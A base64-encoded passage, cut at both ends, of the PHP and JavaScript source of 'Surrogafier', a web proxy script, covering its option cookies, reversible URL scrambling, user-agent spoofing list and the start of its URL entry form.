InLCdfXycuQ09PS19QUkVGLidfXycpOw0KdW5zZXQoJHNlc3NwcmVmLCRjb29rcHJlZik7DQoNCmlmKEZJUlNUX0xPQUQpew0KCWlmKERFRkFVTFRfVVJMX0ZPUk0pIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3VybF9mb3JtJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9DT09LSUVTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9SRU1PVkVfUkVGRVJFUikgZG9zZXRjb29raWUoQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLHRydWUpOw0KCWlmKERFRkFVTFRfUkVNT1ZFX1NDUklQVFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9PQkpFQ1RTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX1VSTFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX2VuY3J5cHRfdXJscycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX0NPT0tTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyx0cnVlKTsNCn0NCg0KIyB9fX0NCg0KIyBFTlZJUk9OTUVOVCBTRVRVUCB7e3sNCg0KZ2xvYmFsICRwb3N0YW5kZ2V0LCRibG9ja2VkX2FkZHJlc3NlcywkZG5zX2NhY2hlX2FycmF5Ow0KJHBvc3RhbmRnZXQ9YXJyYXlfbWVyZ2UoJF9HRVQsJF9QT1NUKTsNCg0KZGVmaW5lKCdQQUdFVFlQRV9NSU5JUkVHRVhQJywnKD1bX1wuXC1dP1wmPXw9KT8nKTsNCmRlZmluZSgnUEFHRVRZUEVfUkVHRVhQJywnL14nLlBBR0VUWVBFX01JTklSRUdFWFAuJyguKikkLycpOw0KaWYoIWVtcHR5KCRwb3N0YW5kZ2V0W0NPT0tfUFJFRl0pKSAkb2VuY191cmw9JHBvc3RhbmRnZXRbQ09PS19QUkVGXTsNCmVsc2V7DQoJJHBhZ2V0eXBlX3N0cj1wcmVnX3JlcGxhY2UoUEFHRVRZUEVfUkVHRVhQLCdcMScsJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddKTsNCglkZWZpbmUoJ1FVRVJZX1NUUklORycsc3Vic3RyKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSxzdHJsZW4oJHBhZ2V0eXBlX3N0ciksc3RybGVuKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSktc3RybGVuKCRwYWdldHlwZV9zdHIpKSk7DQoJZGVmaW5lKCdQQUdFVFlQRV9OVUxMJywwKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZPUkNFX01BSU4nLDEpOw0KCWRlZmluZSgnUEFHRVRZUEVfRlJBTUVfVE9QJywyKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywzKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9DSElMRCcsNCk7ICMgZnJhbWluZyBjaGlsZHJlbiBmb3IgY3JpbWVzIGlzbid0IHZlcnkgbmljZSwgYnV0IHRoZSBzY3JpcHQgZG9lcyBpdCBhbnl3YXkNCglzd2l0Y2goJHBhZ2V0eXBlX3N0cil7DQoJCWNhc2UgJz0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FX1RPUCk7IGJyZWFrOw0KCQljYXNlICc9XyY9JzogZGVmaW5lKCdQQUdFVFlQRV9JRCcsUEFHRVRZUEVfRlJBTUVEX1BBR0UpOyBicmVhazsNCgkJY2FzZSAnPS0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZPUkNFX01BSU4pOyBicmVhazsNCgkJY2FzZSAnPS4mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FRF9DSElMRCk7IGJyZWFrOw0KIyB0aGlzIGlzIG9uZSBtb3JlIHVuZW5jb2RlZCBzdHJpbmcgZm9yIGZ1dHVyZSBmZWF0dXJlcw0KIwkJY2FzZSAnPSomPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLCk7IGJyZWFrOw0KCQlkZWZhdWx0OiBkZWZpbmUoJ1BBR0VUWVBFX0lEJyxQQUdFVFlQRV9OVUxMKTsgYnJlYWs7DQoJfQ0KCXVuc2V0KCRwYWdldHlwZV9zdHIpOw0KDQoJZGVmaW5lKCdORVdfUEFHRVRZUEVfRlJBTUVfVE9QJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FX1RPUCkpOw0KCWRlZmluZSgnTkVXX1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FRF9QQUdFKSk7DQoNCgkkb2VuY191cmw9UVVFUllfU1RSSU5HOw0KCS8vZGVmaW5lKCdPRU5DX1VSTCcsdXJsZGVjb2RlKHByZWdfcmVwbGFjZSgnL14oW14mXSopLio/JC9pJywnXDEnLFFVRVJZX1NUUklORykpKTsNCn0NCmlmKHN0cnBvcyhzdWJzdHIoJG9lbmNfdXJsLDAsNiksJyUnKSE9PWZhbHNlIHx8IHN0cnBvcygkb2VuY191cmwsJyUnKTxzdHJwb3MoJG9lbmNfdXJsLCcvJykgfHwgc3RycG9zKCRvZW5jX3VybCwnJScpPHN0cnBvcygkb2VuY191cmwsJzonKSkgJG9lbmNfdXJsPXVybGRlY29kZSgkb2VuY191cmwpOw0KZGVmaW5lKCdPRU5DX1VSTCcscHJlZ19yZXBsYWNlKCcvXihbXlw/XCZdKylcJi9pJywnXDE/Jywkb2VuY191cmwpKTsNCnVuc2V0KCRvZW5jX3VybCk7DQpkZWZpbmUoJ09SSUdfVVJMJyxwcm94ZGVjKE9FTkNfVVJMKSk7DQpnbG9iYWwgJGN1cnJfdXJsOw0KJGN1cnJfdXJsPU9SSUdfVVJMOw0KDQpmdW5jdGlvbiBnZXRoYXJkYXR0cigkYXR0cil7DQoJZ2xvYmFsICRwb3N0YW5kZ2V0Ow0KCXJldHVybiAoZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLidfc2V0X3ZhbHVlcyddKT8hZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLiJfeyRhdHRyfSJdKTohZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLiJfeyRhdHRyfSJdKSk7DQp9DQpkZWZpbmUoJ0VOQ1JZUFRfVVJMUycsZ2V0aGFyZGF0dHIoJ2VuY3J5cHRfdXJscycpKTsNCmRlZmluZSgnVVJMX0ZPUk0nLGdldGhhcmRhdHRyKCd1cmxfZm9ybScpKTsNCmRlZmluZSgnUEFHRV9GUkFNRUQnLChQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEIHx8IFFVRVJZX1NUUklORz09J2pzX3JlZ2V4cHNfZnJhbWVkJyB8fCBRVUVSWV9TVFJJTkc9PSdqc19mdW5jc19mcmFtZWQnKSk7DQojZGVmaW5lKCdVUkxWQVInLChFTkNSWVBUX1VSTFM/J2UnOm51bGwpLid1cmwnKTsNCg0KIyB9fX0NCg0KIyBQSFAgREVDT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBteV9iYXNlNjRfZGVjb2RlKCRzdHJpbmcpeyByZXR1cm4gYmFzZTY0X2RlY29kZShzdHJfcmVwbGFjZSgnICcsJysnLHVybGRlY29kZSgkc3RyaW5nKSkpOyB9DQoNCmZ1bmN0aW9uIHByb3hkZWMoJHVybCl7DQoJaWYoJHVybHswfSE9J34nICYmIHN0cnRvbG93ZXIoc3Vic3RyKCR1cmwsMCwzKSkhPSclN2UnKSByZXR1cm4gJHVybDsNCgkjd2hpbGUoc3RycG9zKCR1cmwsJyUnKSE9PWZhbHNlKSAkdXJsPXVybGRlY29kZSgkdXJsKTsNCgkjJHVybD11cmxkZWNvZGUoJHVybCk7DQoJd2hpbGUoJHVybHswfT09J34nIHx8IHN0cnRvbG93ZXIoc3Vic3RyKCR1cmwsMCwzKSk9PSclN2UnKXsNCgkJJHVybD1zdWJzdHIoJHVybCwxKTsNCgkJJHVybD1teV9iYXNlNjRfZGVjb2RlKCR1cmwpOw0KCQkkbmV3X3VybD1udWxsOw0KCQlmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCQkkY2hhcj1vcmQoJHVybHskaX0pOw0KCQkJJGNoYXItPW9yZChzdWJzdHIoU0VTU19QUkVGLCRpJXN0cmxlbihTRVNTX1BSRUYpLDEpKTsNCgkJCXdoaWxlKCRjaGFyPDMyKSAkY2hhcis9OTQ7DQoJCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgkJfQ0KCQkkdXJsPSRuZXdfdXJsOw0KCX0NCglyZXR1cm4gdXJsZGVjb2RlKCR1cmwpOw0KfQ0KDQojIH19fQ0KDQojIEpBVkFTQ1JJUFQgRU5DT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBqc19wcm94ZW5jKCl7ID8+DQovLzxzY3JpcHQ+DQo8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlPXsNCmV4cG9uOmZ1bmN0aW9uKGEsYil7DQoJdmFyIG51bTsNCglpZihiPT0wKSByZXR1cm4gMTsNCgludW09YTsgYi0tOw0KCXdoaWxlKGI+MCl7IG51bSo9YTsgYi0tOyB9DQoJcmV0dXJuIG51bTsNCn0sDQoNCmRlY3RvYmluOmZ1bmN0aW9uKCl7DQoJdmFyIGRlYz1hcmd1bWVudHNbMF0sY2hhcnM9YXJndW1lbnRzWzFdfHw4LGJpbnJlcD0iIjsNCglmb3Ioaj1jaGFycy0xO2o+PTA7ai0tKXsNCgkJaWYoZGVjPj10aGlzLmV4cG9uKDIsaikpew0KCQkJYmlucmVwKz0iMSI7IGRlYy09dGhpcy5leHBvbigyLGopOw0KCQl9DQoJCWVsc2UgYmlucmVwKz0iMCI7DQoJfQ0KCXJldHVybiBiaW5yZXA7DQp9LA0KDQpiaW50b2RlYzpmdW5jdGlvbigpew0KCXZhciBiaW49YXJndW1lbnRzWzBdLGNoYXJzPWFyZ3VtZW50c1sxXXx8OCxkZWM9MDsNCglmb3IodmFyIGo9MDtqPGNoYXJzO2orKykgaWYoYmluLnN1YnN0cmluZyhqLGorMSk9PSIxIikgZGVjKz10aGlzLmV4cG9uKDIsY2hhcnMtMS1qKTsNCglyZXR1cm4gZGVjOw0KfSwNCg0KYjY0ZTpmdW5jdGlvbihzdHJpbmcpew0KCXZhciBlbmNzdHI9IiIsYmlucmVwPSIiOw0KCXZhciBjaGFyYmluLGNoYXJudW07DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtKTsNCgl9DQoJd2hpbGUoYmlucmVwLmxlbmd0aCU2KSBiaW5yZXArPSIwMCI7DQoJZm9yKHZhciBpPTE7aSo2PD1iaW5yZXAubGVuZ3RoO2krKyl7DQoJCWNoYXJiaW49YmlucmVwLnN1YnN0cmluZygoaS0xKSo2LGkqNik7DQoJCWNoYXJudW09dGhpcy5iaW50b2RlYyhjaGFyYmluLDYpOw0KCQlpZihjaGFybnVtPD0yNSkgY2hhcm51bSs9NjU7DQoJCWVsc2UgaWYoY2hhcm51bTw9NTEpIGNoYXJudW0rPTcxOw0KCQllbHNlIGlmKGNoYXJudW08PTYxKSBjaGFybnVtLT00Ow0KCQllbHNlIGlmKGNoYXJudW09PTYyKSBjaGFybnVtPTQzOw0KCQllbHNlIGlmKGNoYXJudW09PTYzKSBjaGFybnVtPTQ3Ow0KCQllbmNzdHIrPVN0cmluZy5mcm9tQ2hhckNvZGUoY2hhcm51bSk7DQoJfQ0KCXdoaWxlKGVuY3N0ci5sZW5ndGglOCkgZW5jc3RyKz0iPSI7DQoJcmV0dXJuIGVuY3N0cjsNCn0sDQoNCnByb3hlbmM6ZnVuY3Rpb24odXJsKXsNCgl2YXIgbmV3X3VybD0iIjsNCgl2YXIgY2hhcm51bTsNCglpZih1cmwuc3Vic3RyaW5nKDAsMSk9PSJ+IiB8fCB1cmwuc3Vic3RyaW5nKDAsMykudG9Mb3dlckNhc2UoKT09IiU3ZSIpIHJldHVybiB1cmw7DQoJdXJsPWVuY29kZVVSSUNvbXBvbmVudCh1cmwpOw0KCXZhciBzZXNzX3ByZWY9Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iOw0KCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09dXJsLmNoYXJDb2RlQXQoaSk7DQoJCWNoYXJudW0rPXNlc3NfcHJlZi5jaGFyQ29kZUF0KGklc2Vzc19wcmVmLmxlbmd0aCk7DQoJCXdoaWxlKGNoYXJudW0+MTI2KSBjaGFybnVtLT05NDsNCgkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgl9DQoJcmV0dXJuICJ+IitlbmNvZGVVUklDb21wb25lbnQodGhpcy5iNjRlKG5ld191cmwpKTsNCn0NCn0NCjw/IH0NCg0KIyB9fX0NCg0KIyBGSVJTVCBQQUdFIERJU1BMQVlFRCBXSEVOIEFDQ0VTU0lORyBQUk9YWSB7e3sNCg0KaWYoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GT1JDRV9NQUlOIHx8IChzdWJzdHIoUVVFUllfU1RSSU5HLDAsMykhPSdqc18nICYmIE9SSUdfVVJMPT1udWxsKSl7DQoNCiR1c2VyYWdlbnRpbmZvPW51bGw7DQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnd2luZG93cycpIT09ZmFsc2UgfHwgc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ3dpbjMyJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdXaW5kb3dzJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjaW50b3NoJykhPT1mYWxzZSB8fCBzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjX3Bvd2VycGMnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J01hY2ludG9zaCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2xpbnV4JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdMaW51eCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2JzZCcpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nQlNEJzsNCmVsc2UgJHVzZXJhZ2VudGluZm8uPSdVbmtub3duJzsNCg0KJHVzZXJhZ2VudGluZm8uPScgLyAnOw0KDQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbXNpZScpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nSW50ZXJuZXQgRXhwbG9yZXInOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdmaXJlZm94JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdGaXJlZm94JzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbmV0c2NhcGUnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J05ldHNjYXBlJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnb3BlcmEnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J09wZXJhJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwna29ucXVlcm9yJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdLb25xdWVyb3InOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdzZWFtb25rZXknKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J1NlYU1vbmtleSc7DQplbHNlICR1c2VyYWdlbnRpbmZvLj0nVW5rbm93bic7DQoNCiR1c2VyYWdlbnRfYXJyYXk9YXJyYXkoDQoJYXJyYXkobnVsbCwiQWN0dWFsICh7JHVzZXJhZ2VudGluZm99KSIpLA0KCWFycmF5KCctMScsJyBbIERvblwndCBTZW5kIF0gJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOC4xKSBHZWNrby8yMDA2MTAyNCBGaXJlZm94LzIuMCcsJ1dpbmRvd3MgWFAgLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNS4xOyBTVjEpJywnV2luZG93cyBYUCAvIEludGVybmV0IEV4cGxvcmVyIDcnKSwNCglhcnJheSgnTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMTsgU1YxKScsJ1dpbmRvd3MgWFAgLyBJbnRlcm5ldCBFeHBsb3JlciA2JyksDQoJYXJyYXkoJ09wZXJhLzkuMDIgKFdpbmRvd3MgTlQgNS4xOyBVOyBlbiknLCdXaW5kb3dzIFhQIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBVOyBQUEMgTWFjIE9TIFg7IGVuLVVTOyBydjoxLjguMSkgR2Vja28vMjAwNjEwMjQgRmlyZWZveC8yLjAnLCdNYWMgT1MgWCAvIEZpcmVmb3ggMi4wJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IFBQQyBNYWMgT1MgWDsgZW4pIEFwcGxlV2ViS2l0LzUyMS4yNSAoS0hUTUwsIGxpa2UgR2Vja28pIFNhZmFyaS81MjEuMjQnLCdNYWMgT1MgWCAvIFNhZmFyaSAzLjAnKSwNCglhcnJheSgnT3BlcmEvOS4wMiAoTWFjaW50b3NoOyBQUEMgTWFjIE9TIFg7IFU7IGVuKScsJ01hYyBPUyBYIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoWDExOyBVOyBMaW51eCBpNjg2OyBlbi1VUzsgcnY6MS44LjEpIEdlY2tvLzIwMDYxMDI0IEZpcmVmb3gvMi4wJywnTGludXggLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdPcGVyYS85LjAyIChYMTE7IExpbnV4IGk2ODY7IFU7IGVuKScsJ0xpbnV4IC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgS29ucXVlcm9yLzMuNTsgTGludXgpIEtIVE1MLzMuNS41IChsaWtlIEdlY2tvKScsJ0xpbnV4IC8gS29ucXVlcm9yIDMuNS41JyksDQoJYXJyYXkoJ0xpbmtzICgyLjFwcmUxOTsgTGludXggMi42IGk2ODY7IHgpJywnTGludXggLyBMaW5rcyAoMi4xcHJlMTkpJyksDQoJYXJyYXkoJ0x5bngvMi44LjVyZWwuMScsJ0FueSAvIEx5bnggMi44LjVyZWwuMScpLA0KCWFycmF5KCdEaWxsby8wLjguNicsJ0FueSAvIERpbGxvIDAuOC42JyksDQoJYXJyYXkoJ1dnZXQvMS4xMC4yJywnQW55IC8gV2dldCAxLjEwLjInKSwNCglhcnJheSgnMScsJyBbIEN1c3RvbSBdIDxub3NjcmlwdD48Yj4qKjwvYj48L25vc2NyaXB0PicpDQopOw0KDQpkZWZpbmUoJ0lQUkVHRVhQJywnL14oKD86WzAtMl17MCwyfVswLTldezEsMn1cLil7M31bMC0yXXswLDJ9WzAtOV17MSwyfSlcOihbMC05XXsxLDV9KSQvJyk7DQoNCj8+DQo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIiANCiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+DQoNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+U3Vycm9nYWZpZXI8L3RpdGxlPg0KPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJpbmRleCwgbm9mb2xsb3ciIC8+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zfQ0KCWlucHV0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJc2VsZWN0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJYXtjb2xvcjogIzAwMDAwMH0NCglhOmhvdmVye3RleHQtZGVjb3JhdGlvbjogbm9uZX0NCgkuYWR2YW5jZWRfc3R1ZmZ7ZGlzcGxheTogPD9waHAgZWNobyhTSU1QTEVfTU9ERT8nbm9uZSc6J3RhYmxlLXJvdycpOyA/Pn0NCgkuc2ltcGxlX3N0dWZme2Rpc3BsYXk6IDw/cGhwIGVjaG8oU0lNUExFX01PREU/J3RhYmxlLXJvdyc6J25vbmUnKTsgPz59DQoJLnVybHt3aWR0aDogPD9waHAgZWNobyhTSU1QTEVfTU9ERT9TSU1QTEVfTU9ERV9VUkxXSURUSDonOTklJyk7ID8+fQ0KCS5zaWduYXR1cmV7ZmxvYXQ6IGxlZnR9DQo8P3BocCBpZihGT1JDRV9TSU1QTEUpeyA/Pg0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5zaWduYXR1cmV7dGV4dC1hbGlnbjogY2VudGVyOyBmbG9hdDogbm9uZX0NCjw/cGhwIH0gPz4NCjwvc3R5bGU+DQo8P3BocCBpZighRk9SQ0VfU0lNUExFKXsgPz48bm9zY3JpcHQ+PHN0eWxlPg0KCS5hZHZhbmNlZF9zdHVmZntkaXNwbGF5OiB0YWJsZS1yb3d9DQoJLnNpbXBsZV9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdHVybHt3aWR0aDogOTklfQ0KCS51cmx7ZGlzcGxheTogbm9uZX0NCgkuc2lnbmF0dXJle3RleHQtYWxpZ246IGNlbnRlcjsgZmxvYXQ6IG5vbmV9DQo8L3N0eWxlPjwvbm9zY3JpcHQ+PD9waHAgfSA/Pg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQo8IS0tDQoNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gdXNlcmFnZW50X2NoZWNrKGZvY3VzKXsNCglpZihkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgnPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQnKVswXS52YWx1ZT09JzEnKXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSIiOw0KCQlpZihmb2N1cykgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCcpLmZvY3VzKCk7DQoJfQ0KCWVsc2UgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSdub25lJzsNCn0NCg0KPD9waHAgaWYoIUZPUkNFX1NJTVBMRSl7ID8+DQphZHZhbmNlZF9tb2RlPXRydWU7DQpmdW5jdGlvbiB0b2dnbGVfbW9kZSgpew0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJtb2RlX3RvZ2dsZXIiKS5pbm5lckhUTUw9KGFkdmFuY2VkX21vZGU/IkFkdmFuY2VkIE1vZGUiOiJTaW1wbGUgTW9kZSIpOw0KCXZhciBhZHZhbmNlZF9zdHVmZj1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgidHIiKTsNCglmb3IodmFyIGk9MTtpPD0xMjtpKyspIGFkdmFuY2VkX3N0dWZmW2ldLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/Im5vbmUiOiIiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2ltcGxlX3N1Ym1pdCIpLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/ImlubGluZSI6Im5vbmUiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidXJsIikuc3R5bGUud2lkdGg9KGFkdmFuY2VkX21vZGU/Ijw/cGhwIGVjaG8oU0lNUExFX01PREVfVVJMV0lEVEgpOyA/PiI6Ijk5JSIpOw0KCWFkdmFuY2VkX21vZGU9IWFkdmFuY2VkX21vZGU7DQoJaWYoYWR2YW5jZWRfbW9kZSkgdXNlcmFnZW50X2NoZWNrKGZhbHNlKTsNCglzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykuZm9jdXMoKTsiLDEwMCk7DQp9DQo8P3BocCB9ID8+DQoNCmZ1bmN0aW9uIHN1Ym1pdF9jb2RlKCl7DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kaXNhYmxlZD1mYWxzZTsNCglpZihkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X2VuY3J5cHRfdXJscy5jaGVja2VkKQ0KCQlkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnZhbHVlPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGUucHJveGVuYyhkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWUpOw0KCWVsc2UNCgkJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWU7DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5PD9waHAgZWNobyhTSU1QTEVfTU9ERT8nIG9ubG9hZD0idG9nZ2xlX21vZGUoKTsiJzpudWxsKTsgPz4+DQo8Y2VudGVyPg0KPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMThwdDsgZm9udC13ZWlnaHQ6IGJvbGQ7IG1hcmdpbi1ib3R0b206IDVweCI+U3Vycm9nYWZpZXI8L3NwYW4+DQo8Zm9ybSBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiIHN0eWxlPSJtYXJnaW46IDBweDsgcGFkZGluZzogMHB4Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fc2V0X3ZhbHVlcyIgdmFsdWU9IjEiIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBkaXNhYmxlZD0iZGlzYWJsZWQiIC8+DQo8dGFibGU+DQo8dHI+DQo8dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPlVSTDombmJzcDsmbmJzcDs8L3RkPg0KPHRkPg0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0idXJsIiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPg0KCTxub3NjcmlwdD48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9Im5vc2NyaXB0dXJsIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPjwvbm9zY3JpcHQ+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InNpbXBsZV9zdHVmZiIgaWQ9InNpbXBsZV9zdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjRjBGMEYwIiAvPg0KPC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIjw/